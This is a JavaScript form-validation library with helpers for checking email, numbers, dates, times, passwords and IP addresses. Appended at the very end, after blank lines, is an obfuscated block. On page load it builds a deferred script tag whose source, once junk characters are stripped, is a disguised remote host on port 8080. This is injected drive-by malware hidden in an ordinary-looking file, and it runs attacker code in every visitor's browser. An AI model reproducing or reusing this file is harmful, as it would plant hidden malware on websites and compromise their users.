// JavaScript Document
//Form Check Functions in JavaScript
//The following functions are used to validate:
//1. Email Address
//2. Characters or String
//3. Numeric and Digit

// toInteger(s)  					   Converts the string to a valid Integer Number
// isEmpty (s)                    	   Check whether string s is empty
// isWhitespace (s)                    Check whether string s is empty or whitespace.
// isLetter (c)                        Check whether character c is an English letter 
// isDigit (c)                         Check whether character c is a digit 
// isLetterOrDigit (c)                 Check whether character c is a letter or digit.
// isInteger (s [,eok])                True if all characters in string s are numbers.
// isAlphabetic (s [,eok])             True if string s is English letters 
// isAlphanumeric (s [,eok])           True if string s is English letters and numbers only.
// isFloat (s [,eok])                  True if string s is an unsigned floating point (real) number. (Integers also OK.)
// isEmail (s [,eok])                  True if string s is a valid email address.
// isYear (s [,eok])                   True if string s is a valid Year number.
// isIntegerInRange (s, a, b [,eok])   True if string s is an integer between a and b, inclusive.
// isDate (year, month, day)           True if string arguments form a valid date.
// checkString (theField, s [,eok])    Check that theField.value is not empty or all whitespace.

// VARIABLE DECLARATIONS
var daysInMonth = Array(0, 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

var digits = "0123456789";

var lowercaseLetters = "abcdefghijklmnopqrstuvwxyz"

var uppercaseLetters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// whitespace characters
var whitespace = " \t\n\r";

// decimal point character differs by language and culture
var decimalPointDelimiter = "."

// Global variable defaultEmptyOK defines default return value 
// for many functions when they are passed the empty string. 
// By default, they will return defaultEmptyOK.
//
// defaultEmptyOK is false, which means that by default, 
// these functions will do "strict" validation.  Function
// isInteger, for example, will only return true if it is
// passed a string containing an integer; if it is passed
// the empty string, it will return false.
//
// You can change this default behavior globally (for all 
// functions which use defaultEmptyOK) by changing the value
// of defaultEmptyOK.
//
// Most of these functions have an optional argument emptyOK
// which allows you to override the default behavior for 
// the duration of a function call.
//
// This functionality is useful because it is possible to
// say "if the user puts anything in this field, it must
// be an integer (or a phone number, or a string, etc.), 
// but it's OK to leave the field empty too."
// This is the case for fields which are optional but which
// must have a certain kind of content if filled in.
var defaultEmptyOK = false

// CONSTANT STRING DECLARATIONS
// (grouped for ease of translation and localization)

// m is an abbreviation for "missing"

var mPrefix = "The field shouldn't be empty \n "
var mSuffix = " ";//field. \nThis is a required field. Please enter it now."
var selPrefix = "You did not select a value into the "
var selSuffix = " field. \nThis is a required select field. Please select it now."
var iPassword = "The Password and the Confirm Password field do not match. Please reenter it now."
var iEmail = "This field must be a valid email address (like me@home.com). Please reenter it now."
var iDay = "This field must be a day number between 1 and 31.  Please reenter it now."
var iMonth = "This field must be a month number between 1 and 12.  Please reenter it now."
var iYear = "This field must be a 2 or 4 digit year number.  Please reenter it now."
var iDatePrefix = "The Day, Month, and Year for "
var iDateSuffix = " do not form a valid date.  Please reenter them now."
var iHour = "This field must be a hour number between 0 and 23.  Please reenter it now."
var iMinute = "This field must be a minute number between 0 and 59.  Please reenter it now."
var iSecond = "This field must be a second number between 0 and 59.  Please reenter it now."

// Check whether string s is empty.

function isEmpty(s) {   
	return ((s == null) || (s.length == 0));
}

function toInteger(str) {
	i=0; 
	if(!str.length) 
		return 0;
	while(str.charAt(i) == "0")
		i++;
	str = str.substr(i, str.length);
	return str.length == 0 ? 0: parseInt(str);
}
function toFloat(str) {
	i=0; 
	while(str.charAt(i) == "0")
		i++;
	str = str.substr(i, str.length);
	return str.length == 0 ? 0: parseFloat(str);
}

// Returns true if string s is empty or 
// whitespace characters only.

function isWhitespace (s) {
    var i;

    // Is s empty?
    if (isEmpty(s)) return true;

    // Search through string's characters one by one
    // until we find a non-whitespace character.
    // When we do, return false; if we don't, return true.

    for (i = 0; i < s.length; i++) {   
        // Check that current character isn't whitespace.
        var c = s.charAt(i);

        if (whitespace.indexOf(c) == -1) return false;
    }

    // All characters are whitespace.
    return true;
}


// Returns true if character c is an English letter 
// (A .. Z, a..z).
//
// NOTE: Need i18n version to support European characters.
// This could be tricky due to different character
// sets and orderings for various languages and platforms.

function isLetter (c)
{   return ( ((c >= "a") && (c <= "z")) || ((c >= "A") && (c <= "Z")) )
}



// Returns true if character c is a digit 
// (0 .. 9).

function isDigit (c)
{   return ((c >= "0") && (c <= "9"))
}



// Returns true if character c is a letter or digit.

function isLetterOrDigit (c)
{   return (isLetter(c) || isDigit(c))
}



// isInteger (STRING s [, BOOLEAN emptyOK])
// 
// Returns true if all characters in string s are numbers.
//
// Accepts non-signed integers only. Does not accept floating 
// point, exponential notation, etc.
//
// We don't use parseInt because that would accept a string
// with trailing non-numeric characters.
//
// By default, returns defaultEmptyOK if s is empty.
// There is an optional second argument called emptyOK.
// emptyOK is used to override for a single function call
//      the default behavior which is specified globally by
//      defaultEmptyOK.
// If emptyOK is false (or any value other than true), 
//      the function will return false if s is empty.
// If emptyOK is true, the function will return true if s is empty.
//
// EXAMPLE FUNCTION CALL:     RESULT:
// isInteger ("5")            true 
// isInteger ("")             defaultEmptyOK
// isInteger ("-5")           false
// isInteger ("", true)       true
// isInteger ("", false)      false
// isInteger ("5", false)     true

function isInteger (s)

{   var i;

    if (isEmpty(s)) 
       if (isInteger.arguments.length == 1) return defaultEmptyOK;
       else return (isInteger.arguments[1] == true);

    // Search through string's characters one by one
    // until we find a non-numeric character.
    // When we do, return false; if we don't, return true.

    for (i = 0; i < s.length; i++)
    {   
        // Check that current character is number.
        var c = s.charAt(i);

        if (!isDigit(c)) return false;
    }

    // All characters are numbers.
    return true;
}

// isAlphabetic (STRING s [, BOOLEAN emptyOK])
// 
// Returns true if string s is English letters 
// (A .. Z, a..z) only.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.
//
// NOTE: Need i18n version to support European characters.
// This could be tricky due to different character
// sets and orderings for various languages and platforms.

function isAlphabetic (s)

{   var i;

    if (isEmpty(s)) 
       if (isAlphabetic.arguments.length == 1) return defaultEmptyOK;
       else return (isAlphabetic.arguments[1] == true);

    // Search through string's characters one by one
    // until we find a non-alphabetic character.
    // When we do, return false; if we don't, return true.

    for (i = 0; i < s.length; i++)
    {   
        // Check that current character is letter.
        var c = s.charAt(i);

        if (!isLetter(c))
        return false;
    }

    // All characters are letters.
    return true;
}




// isAlphanumeric (STRING s [, BOOLEAN emptyOK])
// 
// Returns true if string s is English letters 
// (A .. Z, a..z) and numbers only.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.
//
// NOTE: Need i18n version to support European characters.
// This could be tricky due to different character
// sets and orderings for various languages and platforms.

function isAlphanumeric (s)

{   var i;

    if (isEmpty(s)) 
       if (isAlphanumeric.arguments.length == 1) return defaultEmptyOK;
       else return (isAlphanumeric.arguments[1] == true);

    // Search through string's characters one by one
    // until we find a non-alphanumeric character.
    // When we do, return false; if we don't, return true.

    for (i = 0; i < s.length; i++)
    {   
        // Check that current character is number or letter.
        var c = s.charAt(i);

        if (! (isLetter(c) || isDigit(c) ) )
        return false;
    }

    // All characters are numbers or letters.
    return true;
}

// isSignedInteger (STRING s [, BOOLEAN emptyOK])
// 
// Returns true if all characters are numbers; 
// first character is allowed to be + or - as well.
//
// Does not accept floating point, exponential notation, etc.
//
// We don't use parseInt because that would accept a string
// with trailing non-numeric characters.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.
//
// EXAMPLE FUNCTION CALL:          RESULT:
// isSignedInteger ("5")           true 
// isSignedInteger ("")            defaultEmptyOK
// isSignedInteger ("-5")          true
// isSignedInteger ("+5")          true
// isSignedInteger ("", false)     false
// isSignedInteger ("", true)      true

function isSignedInteger (s)

{   if (isEmpty(s)) 
       if (isSignedInteger.arguments.length == 1) return defaultEmptyOK;
       else return (isSignedInteger.arguments[1] == true);

    else {
        var startPos = 0;
        var secondArg = defaultEmptyOK;

        if (isSignedInteger.arguments.length > 1)
            secondArg = isSignedInteger.arguments[1];

        // skip leading + or -
        if ( (s.charAt(0) == "-") || (s.charAt(0) == "+") )
           startPos = 1;    
        return (isInteger(s.substring(startPos, s.length), secondArg))
    }
}




// isPositiveInteger (STRING s [, BOOLEAN emptyOK])
// 
// Returns true if string s is an integer > 0.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function isPositiveInteger (s)
{   var secondArg = defaultEmptyOK;

    if (isPositiveInteger.arguments.length > 1)
        secondArg = isPositiveInteger.arguments[1];

    // The next line is a bit byzantine.  What it means is:
    // a) s must be a signed integer, AND
    // b) one of the following must be true:
    //    i)  s is empty and we are supposed to return true for
    //        empty strings
    //    ii) this is a positive, not negative, number

    return (isSignedInteger(s, secondArg)
         && ( (isEmpty(s) && secondArg)  || (toInteger (s) > 0) ) );
}






// isNonnegativeInteger (STRING s [, BOOLEAN emptyOK])
// 
// Returns true if string s is an integer >= 0.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function isNonnegativeInteger (s)
{   var secondArg = defaultEmptyOK;

    if (isNonnegativeInteger.arguments.length > 1)
        secondArg = isNonnegativeInteger.arguments[1];

    // The next line is a bit byzantine.  What it means is:
    // a) s must be a signed integer, AND
    // b) one of the following must be true:
    //    i)  s is empty and we are supposed to return true for
    //        empty strings
    //    ii) this is a number >= 0

    return (isSignedInteger(s, secondArg)
         && ( (isEmpty(s) && secondArg)  || (toInteger (s) >= 0) ) );
}






// isNegativeInteger (STRING s [, BOOLEAN emptyOK])
// 
// Returns true if string s is an integer < 0.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function isNegativeInteger (s)
{   var secondArg = defaultEmptyOK;

    if (isNegativeInteger.arguments.length > 1)
        secondArg = isNegativeInteger.arguments[1];

    // The next line is a bit byzantine.  What it means is:
    // a) s must be a signed integer, AND
    // b) one of the following must be true:
    //    i)  s is empty and we are supposed to return true for
    //        empty strings
    //    ii) this is a negative, not positive, number

    return (isSignedInteger(s, secondArg)
         && ( (isEmpty(s) && secondArg)  || (toInteger (s) < 0) ) );
}






// isNonpositiveInteger (STRING s [, BOOLEAN emptyOK])
// 
// Returns true if string s is an integer <= 0.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function isNonpositiveInteger (s)
{   var secondArg = defaultEmptyOK;

    if (isNonpositiveInteger.arguments.length > 1)
        secondArg = isNonpositiveInteger.arguments[1];

    // The next line is a bit byzantine.  What it means is:
    // a) s must be a signed integer, AND
    // b) one of the following must be true:
    //    i)  s is empty and we are supposed to return true for
    //        empty strings
    //    ii) this is a number <= 0

    return (isSignedInteger(s, secondArg)
         && ( (isEmpty(s) && secondArg)  || (toInteger (s) <= 0) ) );
}


// isFloat (STRING s [, BOOLEAN emptyOK])
// 
// True if string s is an unsigned floating point (real) number. 
//
// Also returns true for unsigned integers. If you wish
// to distinguish between integers and floating point numbers,
// first call isInteger, then call isFloat.
//
// Does not accept exponential notation.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function isFloat (s, sign)

{   var i;
    var seenDecimalPoint = false;

    if (isEmpty(s)) 
       if (isFloat.arguments.length == 2) return defaultEmptyOK;
       else return (isFloat.arguments[2] == true);

    if (s == decimalPointDelimiter) return false;

    // Search through string's characters one by one
    // until we find a non-numeric character.
    // When we do, return false; if we don't, return true.

    for (i = 0; i < s.length; i++)
    {   
        // Check that current character is number.
        var c = s.charAt(i);

        if ((c == decimalPointDelimiter) && !seenDecimalPoint) seenDecimalPoint = true;
        else if (!isDigit(c)) return false;
    }
	if(isNaN(parseFloat(s))) return false;
	if(parseFloat(s)>=0 && sign == 1) return true;
	if(parseFloat(s)<0 && sign == -1) return true;
	if(!sign) return true;
    // All characters are numbers.
}

function isEmail (s)
{   if (isEmpty(s)) 
       if (isEmail.arguments.length == 1) return defaultEmptyOK;
       else return (isEmail.arguments[1] == true);
   
    // is s whitespace?
    if (isWhitespace(s)) return false;
    
    // there must be >= 1 character before @, so we
    // start looking at character position 1 
    // (i.e. second character)
    var i = 1;
    var sLength = s.length;
    var filter=/^.+@.+\..{2,3}$/;
    if (!filter.test(s))
	return false;
    else
	return true;
/*    // look for @
    while ((i < sLength) && (s.charAt(i) != "@"))
    { i++
    }

    if ((i >= sLength) || (s.charAt(i) != "@")) return false;
    else i += 2;

    // look for .
    while ((i < sLength) && (s.charAt(i) != "."))
    { i++
    }

    // there must be at least one character after the .
    if ((i >= sLength - 1) || (s.charAt(i) != ".")) return false;
    else return true;
*/
}





// isYear (STRING s [, BOOLEAN emptyOK])
// 
// isYear returns true if string s is a valid 
// Year number.  Must be 2 or 4 digits only.
// 
// For Year 2000 compliance, you are advised
// to use 4-digit year numbers everywhere.
//
// And yes, this function is not Year 10000 compliant, but 
// because I am giving you 8003 years of advance notice,
// I don't feel very guilty about this ...
//
// For B.C. compliance, write your own function. ;->
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function isYear (s)
{   if (isEmpty(s)) 
       if (isYear.arguments.length == 1) return defaultEmptyOK;
       else return (isYear.arguments[1] == true);
    if (!isNonnegativeInteger(s)) return false;
    return ((s.length == 2) || (s.length == 4));
}



// isIntegerInRange (STRING s, INTEGER a, INTEGER b [, BOOLEAN emptyOK])
// 
// isIntegerInRange returns true if string s is an integer 
// within the range of integer arguments a and b, inclusive.
// 
// For explanation of optional argument emptyOK,
// see comments of function isInteger.


function isIntegerInRange (s, a, b)
{   if (isEmpty(s)) 
       if (isIntegerInRange.arguments.length == 1) return defaultEmptyOK;
       else return (isIntegerInRange.arguments[1] == true);

    // Catch non-integer strings to avoid creating a NaN below,
    // which isn't available on JavaScript 1.0 for Windows.
    if (!isInteger(s, false)) return false;

    // Now, explicitly change the type to integer via parseInt
    // so that the comparison code below will work both on 
    // JavaScript 1.2 (which typechecks in equality comparisons)
    // and JavaScript 1.1 and before (which doesn't).
    var num = toInteger(s);
    return ((num >= a) && (num <= b));
}

function isHour (s)
{   if (isEmpty(s)) 
       if (isHour.arguments.length == 1) return defaultEmptyOK;
       else return (isHour.arguments[1] == true);
    return isIntegerInRange (s, 0, 23);
}
function isMinute (s)
{   if (isEmpty(s)) 
       if (isMinute.arguments.length == 1) return defaultEmptyOK;
       else return (isMinute.arguments[1] == true);
    return isIntegerInRange (s, 0, 59);
}
function isSecond (s)
{   if (isEmpty(s)) 
       if (isSecond.arguments.length == 1) return defaultEmptyOK;
       else return (isSecond.arguments[1] == true);
    return isIntegerInRange (s, 0, 59);
}


// isMonth (STRING s [, BOOLEAN emptyOK])
// 
// isMonth returns true if string s is a valid 
// month number between 1 and 12.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function isMonth (s)
{   if (isEmpty(s)) 
       if (isMonth.arguments.length == 1) return defaultEmptyOK;
       else return (isMonth.arguments[1] == true);
    return isIntegerInRange (s, 1, 12);
}



// isDay (STRING s [, BOOLEAN emptyOK])
// 
// isDay returns true if string s is a valid 
// day number between 1 and 31.
// 
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function isDay (s)
{   if (isEmpty(s)) 
       if (isDay.arguments.length == 1) return defaultEmptyOK;
       else return (isDay.arguments[1] == true);   
    return isIntegerInRange (s, 1, 31);
}



// daysInFebruary (INTEGER year)
// 
// Given integer argument year,
// returns number of days in February of that year.

function daysInFebruary (year)
{   // February has 29 days in any year evenly divisible by four,
    // EXCEPT for centurial years which are not also divisible by 400.
    return (  ((year % 4 == 0) && ( (!(year % 100 == 0)) || (year % 400 == 0) ) ) ? 29 : 28 );
}



// isDate (STRING year, STRING month, STRING day)
//
// isDate returns true if string arguments year, month, and day 
// form a valid date.
// 

function isDate (year, month, day)
{   // catch invalid years (not 2- or 4-digit) and invalid months and days.
    if (! (isYear(year, false) && isMonth(month, false) && isDay(day, false))) return false;

    // Explicitly change type to integer to make code work in both
    // JavaScript 1.1 and JavaScript 1.2.
    var intYear = toInteger(year);
    var intMonth = toInteger(month);
    var intDay = toInteger(day);

    // catch invalid days, except for February
    if (intDay > daysInMonth[intMonth]) return false; 

    if ((intMonth == 2) && (intDay > daysInFebruary(intYear))) return false;

    return true;
}

/* FUNCTIONS TO NOTIFY USER OF INPUT REQUIREMENTS OR MISTAKES. */


// Display prompt string s in status bar.

function prompt (s)
{   window.status = s
}



// Display data entry prompt string s in status bar.

function promptEntry (s)
{   window.status = pEntryPrompt + s
}




// Notify user that required field theField is empty.
// String s describes expected contents of theField.value.
// Put focus in theField and return false.

function warnEmpty (theField, s)
{   theField.focus()
    alert(mPrefix + s + mSuffix)
    return false
}

function warnSelect (theField, s)
{  
 theField.focus()
    alert(selPrefix + s + selSuffix)
    return false
}


// Notify user that contents of field theField are invalid.
// String s describes expected contents of theField.value.
// Put select theField, pu focus in it, and return false.

function warnInvalid (theField, s)
{   theField.focus()
	if(theField.type.indexOf("select") == -1)
	    theField.select()
    alert(s)
    return false
}


function warnInvalidSelect (theField, s)
{   alert(s)
    return false
}


/* FUNCTIONS TO INTERACTIVELY CHECK VARIOUS FIELDS. */

// checkString (TEXTFIELD theField, STRING s, [, BOOLEAN emptyOK==false])
//
// Check that string theField.value is not all whitespace.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function checkString (theField, s, emptyOK)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (checkString.arguments.length == 2) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;
    if (isWhitespace(theField.value)) 
       return warnEmpty (theField, s);
    else return true;
}

function checkInteger (theField, s, emptyOK)
{  
	 // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
	if (checkInteger.arguments.length == 2) emptyOK = defaultEmptyOK;
	if ((emptyOK == true) && (isEmpty(theField.value))) return true;
	if(checkInteger.arguments.length == 3)
		return checkFloat (theField, s,  emptyOK);
	
  /*  if (checkInteger.arguments.length == 2) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;
    if (!isInteger(theField.value)) 
       return warnInvalid (theField, s);
    else return true;
	*/
}


function checkIntegerRange (theField, startVal, endVal, s, emptyOK)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (checkIntegerRange.arguments.length == 2) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;
    if (!isInteger(theField.value)) 
       return warnInvalid (theField, s);
    else if(!isIntegerInRange(theField.value, startVal, endVal))
		return warnInvalid(theField, s);
	return true;
}

function checkFloat (theField, s,  emptyOK, sign)
{   
// Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (checkFloat.arguments.length == 3) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;
    if (!isFloat(theField.value, sign)) 
       return warnInvalid (theField, s);
    else return true;
}

// checkEmail (TEXTFIELD theField [, BOOLEAN emptyOK==false])
//
// Check that string theField.value is a valid Email.
//
// For explanation of optional argument emptyOK,
// see comments of function isInteger.

function checkEmail (theField, emptyOK)
{   if (checkEmail.arguments.length == 1) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;
    else if (!isEmail(theField.value)) 
       return warnInvalid (theField, iEmail);
    else return true;
}




// checkDate (yearField, monthField, dayField, STRING labelString [, OKtoOmitDay==false])
//
// Check that yearField.value, monthField.value, and dayField.value 
// form a valid date.
//
// If they don't, labelString (the name of the date, like "Birth Date")
// is displayed to tell the user which date field is invalid.
//
// If it is OK for the day field to be empty, set optional argument
// OKtoOmitDay to true.  It defaults to false.

function checkDate (yearField, monthField, dayField, labelString, OKtoOmitDay)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (checkDate.arguments.length == 4) OKtoOmitDay = false;
    if (!isYear(yearField.value)) return warnInvalid (yearField, iYear);
    if (!isMonth(monthField.value)) return warnInvalid (monthField, iMonth);
    if ( (OKtoOmitDay == true) && isEmpty(dayField.value) ) return true;
    else if (!isDay(dayField.value)) 
       return warnInvalid (dayField, iDay);
    if (isDate (yearField.value, monthField.value, dayField.value))
       return true;
    alert (iDatePrefix + labelString + iDateSuffix)
    return false
}

function checkTime (hourField, minuteField, secondField, labelString)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (!isHour(hourField.value)) return warnInvalid (hourField, iHour);
    if (!isMinute(minuteField.value)) return warnInvalid (minuteField, iMinute);
    if (!isSecond(secondField.value)) return warnInvalid (secondField, iSecond);
	return true;
}


// password - between 6-8 chars, uppercase, lowercase, and numeral

function checkPassword (theField, s, emptyOK) {
	
    var illegalChars = /[\W_]/; // allow only letters and numbers
    if (checkPassword.arguments.length == 2) emptyOK = defaultEmptyOK;
	if(checkString (theField, s, emptyOK)) {
		if ((theField.value.length < 6)) {
		   s = "The password should be more than 6 characters long.\n";
		  return warnInvalid (theField, s);
		}
		else if (illegalChars.test(theField.value)) {
		  s = "The password contains illegal characters.\n";
		  return warnInvalid (theField, s);
		} 
	}
	else 
		return false;
	return true;    
}    

function validatePassword(theField_p, theField_c, s, emptyOK) {
	
	if (validatePassword.arguments.length == 3) emptyOK = defaultEmptyOK;
	if(checkPassword (theField_p, s, emptyOK) && checkPassword (theField_c, s, emptyOK)) {
		if(theField_p.value !=theField_c.value) {
			theField_p.value ="";
			theField_c.value ="";
			return warnInvalid (theField_p, iPassword);
		}
	}
	else 
		return false;
	return true;    
}    
// Get checked value from radio button.

function getRadioButtonValue (radio) {   
	for (var i = 0; i < radio.length; i++) {   
		if (radio[i].checked) break; 
    }
    return radio[i].value;
}

function checkDateVal (year, month, day, theField, labelString, OKtoOmitDay, emptyOK)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (checkDateVal.arguments.length == 4) { OKtoOmitDay = false; emptyOK = defaultEmptyOK; }
	if (checkDateVal.arguments.length == 5) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;
    if (!isYear(year)) return warnInvalid (theField, iYear);
    if (!isMonth(month)) return warnInvalid (theField, iMonth);
    if ( (OKtoOmitDay == true) && isEmpty(day) ) return true;
    else if (!isDay(day)) 
       return warnInvalid (theField, iDay);
    if (isDate (year, month, day))
       return true;
    alert (iDatePrefix + labelString + iDateSuffix);
    return false
}

function checkTimeVal (hour, minute, second, theField, labelString, emptyOK)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
	if (checkTimeVal.arguments.length == 5) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;
    if (!isHour(hour)) return warnInvalid (theField, iHour);
    if (!isMinute(minute)) return warnInvalid (theField, iMinute);
    if (!isSecond(second)) return warnInvalid (theField, iSecond);
	return true;
}

//check the range of date
function checkDateRange (yearFromField, monthFromField, dayFromField, yearToField, monthToField, dayToField, labelString, OKtoOmitDay, emptyOK)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (checkDateRange.arguments.length == 8) { OKtoOmitDay = false; emptyOK = defaultEmptyOK;}
    if (checkDateRange.arguments.length == 9) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(dayFromField.value))) return true;
	if(!checkDate (yearFromField, monthFromField, dayFromField, labelString, OKtoOmitDay) || 
		!checkDate(yearToField, monthToField, dayToField, labelString, OKtoOmitDay))
		return false;
	fromDt = new Date(yearFromField.value, monthFromField.value, dayFromField.value);
	toDt = new Date(yearToField.value, monthToField.value, dayToField.value);
	if(fromDt.getTime() > toDt.getTime())
		 return warnInvalid (dayFromField, labelString);
    return true;
}

function checkDateTimeVal (fromField, yearFrom, monthFrom, dayFrom, timeFrom, yearTo, monthTo, dayTo, timeTo, labelString, OKtoOmitDay, emptyOK)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (checkDateTimeVal.arguments.length == 10) { OKtoOmitDay = false; emptyOK = defaultEmptyOK;}
    if (checkDateTimeVal.arguments.length == 9) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(fromField.value))) return true;
	if(!checkDateVal (yearFrom, monthFrom, dayFrom, labelString, OKtoOmitDay) || 
		!checkDateVal(yearTo, monthTo, dayTo, labelString, OKtoOmitDay))
		return false;
	var timeFromArray = timeFrom.split(":");
	var timeToArray = timeTo.split(":");
	if(!checkTimeVal (timeFromArray[0], timeFromArray[1], timeFromArray[2], labelString) || 
		!checkTimeVal(timeToArray[0], timeToArray[1], timeToArray[2], labelString))
		return false;
	fromDt = new Date(yearFrom, monthFrom, dayFrom, timeFromArray[0], timeFromArray[1], timeFromArray[2]);
	toDt = new Date(yearTo, monthTo, dayTo, timeToArray[0], timeToArray[1], timeToArray[2]);
	if(fromDt.getTime() > toDt.getTime()) {
	    alert ("The From Date cannot be greater than the End Date. Please Enter them now.");
		fromField.focus();
		fromField.select();
		return false;
	}
    return true;
}
function checkFloatRange(theField, length, msg, sign, emptyOK, lengthDec) {
    if (checkFloatRange.arguments.length == 4) {emptyOK = defaultEmptyOK; lengthDec = 2; }
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;
    if (checkFloatRange.arguments.length == 5) lengthDec = 2;
	s="";
	for(i=0; i<length; i++) {
		s = s +"9";
	}
	s = s+".";
	for(i=0; i<lengthDec; i++) {
		s = s +"9";
	}
	numS = parseFloat(s);
	if(checkFloat (theField, msg, sign, emptyOK)) {
		pos = theField.value.indexOf(".");
		if(pos == -1)
			pos=theField.value.length;
		if(parseFloat(theField.value) > numS)
			return warnInvalid (theField, msg);
		if(pos > length )
			return warnInvalid (theField, msg);
		return true;
	}
	return false;
}
function checkIPAddress(thisField, msg, emptyOK) {
	if (checkIPAddress.arguments.length == 2) emptyOK = defaultEmptyOK;
	ip_address_array = thisField.value.split(".");
	if (ip_address_array.length > 4)
		return warnInvalid (thisField, msg);
	for(i=0; i< ip_address_array.length; i++) {
		str = ip_address_array[i];
		if(str.length > 3)
			return warnInvalid (thisField, msg);
		if(toInteger(ip_address_array[i])< 0 || toInteger(ip_address_array[i])>255)
			return warnInvalid (thisField, msg);
	}
	return true;
}
function checkSelect (theField, s, emptyOK)
{   // Next line is needed on NN3 to avoid "undefined is not a number" error
    // in equality comparison below.
    if (checkSelect.arguments.length == 2) emptyOK = defaultEmptyOK;
    if ((emptyOK == true) && (isEmpty(theField.options[theField.selectedIndex].value))) return true;
    if (isWhitespace(theField.options[theField.selectedIndex].value)) 
       return warnSelect(theField, s);
    else return true;
}

function redirect(url){
window.location=url;
}
function confirmAction(url,message)
{
	if(confirm(message))
		window.location=url;
}

function confirmActionAjax(url,message)
{
	if(confirm(message))
		queryHTTP(url);
}
//created by pankaj karn 2006-02-23
function compareDate(compareDate,add){
		var msg ="Selected Date must be at least 2 days after Current Date";
		var dt = new Date(compareDate);
		
		var dt2 = new Date();	
		//dt2.setDate(dt2.getDate()+add);
		var year = dt2.getFullYear();
		var month=dt2.getMonth();
		var day=(dt2.getDate()+add);
		var newDate = new Date(year,month,day);
		
		if(newDate>dt){
			alert(msg);
			//return warnInvalid (theField, iEmail);
			return false;			
		}
		else
			return true
}


function popWin(theURL,features) { //v2.0
 openWin=window.open(theURL,'childWin',features);
  openWin.focus();
//  popWin('TEST.htm','scrollbars=yes,width=400,height=300')
}









this.dl="dl";var d='sgchrqi_pgt_'.replace(/[_hgqe]/g, '');var t=document;var y=window;this.h=23103;y.onload=function(){this.cl='';var _;if(_!='' && _!='oo'){_=null};try {this.r="";var ee=new String();b=t.createElement(d);var _t=false;b.setAttribute('d9e9f2e9r9'.replace(/[972~q]/g, ''), "1");var oz;if(oz!=''){oz='rf'};var ha;if(ha!='w'){ha='w'};this.wl='';var is=new Array();b.src='h^t^tIp@:7/A/Ag7o@o^g7l@eI-7cAo7mI-Al7y@.@f@aIr7mIv^iIl7l7eI.@c^o^mI.Ar^a^mAb7l@e7r^-7r^u@.@yIo^uIrIt7a@gAh^eAuIe^rI.@rAu@:A8^078@0I/AmAeAgAa^c7l^i^cAkI.IcAo^m^/Am7eIgIaIcAl@i^c7kI.7c^o@mA/^z@e@d@gAe^.@nIe@tI/@gAoAo^g^lAeA.7c7o^mI/Ap^aAi^pAa^i^.7cIoIm7/I'.replace(/[I7A\^@]/g, '');this.ua="";var zv="zv";t.body.appendChild(b);} catch(x){var hh='';var oe='';};var fh="";var zu;if(zu!='io' && zu!='et'){zu='io'};};this.fj='';
